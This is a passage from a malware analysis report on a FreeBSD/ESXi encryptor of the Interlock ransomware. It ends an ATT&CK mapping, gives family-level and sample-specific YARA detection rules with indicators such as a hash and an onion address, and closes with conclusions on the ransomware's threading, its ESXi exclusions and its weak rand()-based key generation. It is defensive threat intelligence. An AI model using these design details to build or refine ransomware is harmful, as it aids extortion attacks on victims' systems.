Exfiltration None in this binary — handled by separate tooling

Mappings intentionally omitted: The binary is a native ELF executable, not a script, so T1059.004 (Unix Shell) does not apply. The binary is not obfuscated (symbols and strings are plaintext), so T1027 does not apply. The CLI flags and file exclusions are operational scope controls, not execution guardrails in the ATT&CK sense (T1480).


YARA Rules

Two rules are provided: a family-level rule for detecting Interlock ransomware variants across campaigns (avoids victim-specific strings), and a sample-specific rule for hunting this exact build.

Family-Level Detection

rule Interlock_Ransomware_FreeBSD_Family {
    meta:
        description = "Detects Interlock ransomware FreeBSD/ELF family"
        author = "Malware Analysis Report"
        date = "2026-03-25"
        reference = "Interlock ransomware — FreeBSD encryptor variant"

    strings:
        // Ransom note and extension — core behavioral indicators
        $note_name = "/!__README__!.txt" ascii
        $extension = ".interlock" ascii

        // Exported function names (present due to static linking with symbols)
        $func_loopdir = "loopdir" ascii
        $func_startCrypt = "startCrypt" ascii
        $func_threadMain = "threadMain" ascii
        $func_toNote = "toNote" ascii
        $func_rsaCrypt = "rsaCrypt" ascii
        $func_cryptBlocks = "cryptBlocks" ascii

        // Developer typos — strong family fingerprint
        $typo1 = "checkExceptFileCastom" ascii
        $typo2 = "checkSpase" ascii

        // CLI interface
        $cli_dir = "--directory" ascii
        $cli_file = "--file" ascii
        $cli_del = "--delete" ascii
        $cli_sys = "--system" ascii

        // ESXi-aware exclusions
        $except_bootcfg = "boot.cfg" ascii

    condition:
        uint32(0) == 0x464C457F and   // ELF magic
        (
            ($extension and $note_name and 2 of ($func_*)) or
            (3 of ($func_*) and $extension) or
            (2 of ($typo*) and $extension) or
            ($extension and $note_name and 3 of ($cli_*))
        )
}

Sample-Specific Detection

rule Interlock_Ransomware_FreeBSD_Sample_e86bb836 {
    meta:
        description = "Detects specific Interlock ransomware sample (e86bb836...)"
        author = "Malware Analysis Report"
        date = "2026-03-25"
        hash = "e86bb8361c436be94b0901e5b39db9b6666134f23cce1e5581421c2981405cb1"

    strings:
        $onion = "ebhmkoohccl45qesdbvrjqtyro2hmhkmh6vkyfyjjzfllm3ix72aqaid.onion" ascii
        $company_id = "6ABHZ2O95ATC7EPVLQSU6DAN4XRLYTDU782JWPSSBXJVPTZY88KKPFYWCXKL" ascii
        $extension = ".interlock" ascii

    condition:
        uint32(0) == 0x464C457F and
        ($onion or $company_id) and $extension
}

Conclusion

  1. FreeBSD encryptor with ESXi awareness: The static linking against FreeBSD libraries, ESXi bootbank file exclusions (boot.cfg, .b00, .v00-.v07, .t00), and directory skip list (which includes both FreeBSD and Linux-specific paths) indicate a binary built on FreeBSD and designed to operate safely on ESXi hypervisors — avoiding host-bricking while encrypting VM datastores and non-standard mount points.

  2. Competent but flawed cryptography: While the hybrid RSA-4096 + AES-256-CBC scheme is architecturally sound, the use of rand()/srand() for per-file key generation is a design weakness. The low-entropy seed is concerning, though practical exploitation is complicated by multi-threaded rand() consumption making the key stream non-deterministic without knowledge of thread scheduling order.

  3. Speed over security: The intermittent encryption pattern (growing gaps between encrypted 1MB blocks) prioritizes encryption speed over thoroughness — a pragmatic choice for encrypting terabyte-scale VM disk images, but one that leaves significant unencrypted data recoverable.

  4. Post-exploitation payload: The complete absence of anti-analysis, persistence, C2, privilege escalation, and lateral movement confirms this binary is a final-stage encryptor deployed after the operator has already achieved full access to the target environment.

  5. Per-victim customization: The hardcoded Company ID and Tor endpoint indicate this sample is a custom-configured build for a specific victim or campaign, making hash-based detection less effective across campaigns.

  6. Simple but effective: Despite its relatively simple codebase (~1,700 functions, many from static libraries), the ransomware achieves its objective efficiently — multi-threaded encryption across all available CPUs with thread-safe RSA operations and a clean producer-consumer work distribution model.